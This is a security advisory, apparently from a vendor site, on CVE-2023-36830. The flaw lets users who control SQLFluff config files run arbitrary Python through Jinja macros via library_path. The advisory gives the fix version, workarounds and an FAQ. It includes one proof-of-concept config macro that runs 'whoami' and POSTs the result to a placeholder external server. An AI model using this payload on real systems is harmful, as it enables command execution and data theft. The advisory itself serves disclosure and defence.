CVE-2023-36830

Workarounds

Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.

Credit

Dan Amodio from the Tinder Red Team

In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a sandboxed environment but the following example shows how an external url might be called and used to reveal internal information to an external listener:

[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http

[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}

For many users who use SQLFluff in the context of an environment where all users already have fairly escalated privileges, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on rule configuration, this may be an issue.

CVE-2023-36830 has a CVSS score of 6.3 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.2); upgrading removes the vulnerable code path.

Kodem intelligence

The 2.1.2 release offers the ability for the library_path argument to be overwritten on the command line by using the --library-path option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary.

Unless library_path is explicitly required, we recommend using the option --library-path none when invoking SQLFluff which will disable the library-path option entirely regardless of the options set in the configuration file or via inline config directives.

1. What is CVE-2023-36830? CVE-2023-36830 is a medium-severity security vulnerability in sqlfluff (pip), affecting versions < 2.1.2. It is fixed in 2.1.2.
2. How severe is CVE-2023-36830? CVE-2023-36830 has a CVSS score of 6.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of sqlfluff are affected by CVE-2023-36830? sqlfluff (pip) versions < 2.1.2 is affected.
4. Is there a fix for CVE-2023-36830? Yes. CVE-2023-36830 is fixed in 2.1.2. Upgrade to this version or later.
5. Is CVE-2023-36830 exploitable, and should I be worried? Whether CVE-2023-36830 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-36830 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-36830? Upgrade sqlfluff to 2.1.2 or later.